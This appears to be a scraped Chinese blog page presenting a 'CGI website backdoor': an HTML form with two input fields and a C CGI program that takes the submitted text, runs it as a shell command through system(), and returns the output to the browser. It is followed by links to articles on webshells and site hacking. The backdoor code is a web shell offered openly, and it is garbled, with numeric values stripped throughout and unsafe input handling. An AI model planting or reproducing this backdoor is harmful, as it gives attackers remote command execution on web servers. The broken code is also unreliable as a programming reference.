• 运行截图:
  • html开发:
     <html>
    <body>
    <form id="form" name="form" method="post" action="../cgi-bin/run.cgi">
    <p></p>
    <input type="text" name="cmd1" id="user" >
    <p></p>
    <input type="text" name="cmd2" id="pass" >
    <p></p>
    <input type="submit" name="go" id="run" value="submit">
    </form>
    </body>
    </html>
  • cgi开发
     #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h> void main()
    {
    //显示html文本
    printf("Cotent-type:text/html\n\n");
    //获取表单信息
    char szpost[] = { };
    gets(szpost);
    //输出表单信息
    printf("%s", szpost); //对表单信息进行处理,把'+'转换成' '
    char *pstart = szpost;
    for(int i=;i<;i++)
    {
    if (szpost[i] == '+')
    {
    szpost[i] = ' ';
    }
    } //处理':'号
    char *pos1 = strstr(szpost, "%3A");
    if (pos1 != NULL)
    {
    *pos1 = ':';
    *(pos1 + ) = ' ';
    *(pos1 + ) = ' ';
    } //处理'\'
    pos1 = strstr(szpost, "%2F");
    if (pos1 != NULL)
    {
    *pos1 = '\\';
    *(pos1 + ) = ' ';
    *(pos1 + ) = ' ';
    } //获取第一个输入框的内容
    char *p1 = strchr(szpost, '&');
    if (*p1 != NULL)
    {
    *p1 = '\0';
    }
    //输出第一个输入框的内容
    printf("%s\r\n", szpost+); //获取第二个输入框的内容
    char *p2 = strchr(p1 + , '&');
    if (*p2 != NULL)
    {
    *p2 = '\0';
    }
    //输出第二个输入框的内容
    printf("%s\r\n",p1+); //整合成cmd指令
    char cmd[] = { };
    //生成随机数,写入到随机数文件中
    time_t ts;
    unsigned data = time(&ts);
    srand(&ts);
    int num = rand(); //整合cmd指令,并重定向到文件
    sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
    //文件名
    char filename[] = { };
    //生成文件名
    sprintf(filename,"%d.txt", num);
    //执行指令
    system(cmd);
    //打开文件
    FILE *pf = fopen(filename,"r");
    //读取文件
    while (!feof(pf))
    {
    char ch = fgetc(pf);
    putchar(ch);
    }
    //关闭文件
    fclose(pf);
    }

51.cgi网站后门的更多相关文章

  1. 网站后门shell-----eval

    我们先来看看网站被攻击的代码: <?php error_reporting(E_ERROR); unlink('user.php'); unlink('../member/login.php') ...

  2. thinkphp网站后门-发现后门(Webshell)文件

    不知道能不能解决, 1.登录阿里云后台,找到后门文件删除 2.执行 中国镜像 composer config -g repo.packagist composer https://packagist. ...

  3. 动态网站技术CGI

    递信息的规程.CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静三种主流的动态网站技术: ASP JSP PHP 除之外,此还要了解的动态网站技术 ...

  4. 阿里云提醒 网站被WebShell木马后门的处理过程

    昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云 ...

  5. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  6. 企业网站被黑 dedecms漏洞修复办法

    前段时间网站被黑了,从百度打开网站直接被劫持跳转到了彩票,du博网站上去,网站的首页index.html文件也被篡改成一些什么北京sai车,pk10,一些cai票的关键词内容,搞得网站根本无法正常浏览 ...

  7. 修复网站漏洞对phpmyadmin防止被入侵提权的解决办法

    phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都会导致mysql的数据账号密码被泄露,那么如 ...

  8. Python3 CGI编程实现教程

    一.背景说明 虽然很久以前就听说“早期的网站很多通过cgi形式实现”.“C++可通过CGI形式编写网页”,日积月累对CGI也有了一些概念,但一直没真正见过一个实际运行的CGI网站,总归还是有些底气不足 ...

  9. 手把手教你查看网站遭受到的Web应用攻击类型

    常见Web应用攻击类型有:webshell.SQL注入.文件包含.CC攻击.XSS跨站脚本攻击.敏感文件访问.远程命令.恶意扫描.代码执行.恶意采集.特殊攻击.其他攻击十二种攻击类型. 如何查看网站遭 ...

随机推荐

  1. 外部样式表声明的样式并不会进入style对象

    在网页设计当中,我们注重网页的行为(js).结构(HTLM).样式(css)分离开 内联样式表或者内部样式表声明的样式信息都会进入style对象. 我们可以测试一下: 但是我们的外部样式表,也就是通过 ...

  2. 请问这个git上开源的node项目怎样才能在windows用Npm跑起来

    这个项目https://github.com/wechaty/we...以前都是用人家弄好的手脚架搞得es6,搞了2天搞起了es6还报错,错误信息在下面,然后我想请教大神:1我到底应该怎么弄才能在wi ...

  3. birthday

    2.29 7.25  7.... 5... 10.01 02 03

  4. HDU-1789 Doing Homework again 贪心问题 有时间限制的最小化惩罚问题

    题目链接:https://cn.vjudge.net/problem/HDU-1789 题意 小明有一大堆作业没写,且做一个作业就要花一天时间 给出所有作业的时间限制,和不写作业后要扣的分数 问如何安 ...

  5. ConEmu windows上的终端工具

    ConEmu Windows terminal   官网: http://conemu.github.io/        

  6. 紫书 例题 10-18 UVa 11346(连续概率)

    就是面积计算,没什么好说的. #include<cstdio> #include<cmath> #define REP(i, a, b) for(int i = (a); i ...

  7. 安装Signavio Web设计器

    在Jbpm3版本号中,这个著名的开源项目并没有基于浏览器的图形化流程设计器,结果导致流程设计一直停留在CS阶段. 比方我之前做过的一个OA项目.项目中採用的就是Jbpm3.因为它不支持在浏览器中的图形 ...

  8. openGl超级宝典学习笔记 (2) 7个主要的几何图元

    点(GL_POINTS): 点总是正方形的像素,默认情况下,点的大小不受透视除法影响. 即无论与视点的距离怎样,它的大小都不改变.为了获得圆点.必须在抗锯齿模式下绘制点. 能够用glPointSize ...

  9. HDU Victor and World (最短路+状态压缩)

    题目链接:传送门 题意: n个城市m条路.刚開始在点1,求把每一个城市都遍历一边最后回到1的花费的最小值. 分析: ​​+n​2​​∗2​n​​). 转自Bestcode. 以下说说我的状态转移,首先 ...

  10. POSTGRESQL NO TABLE

    POSTGRESQL EXTENDING SQL GRIGGER PROCEDURAL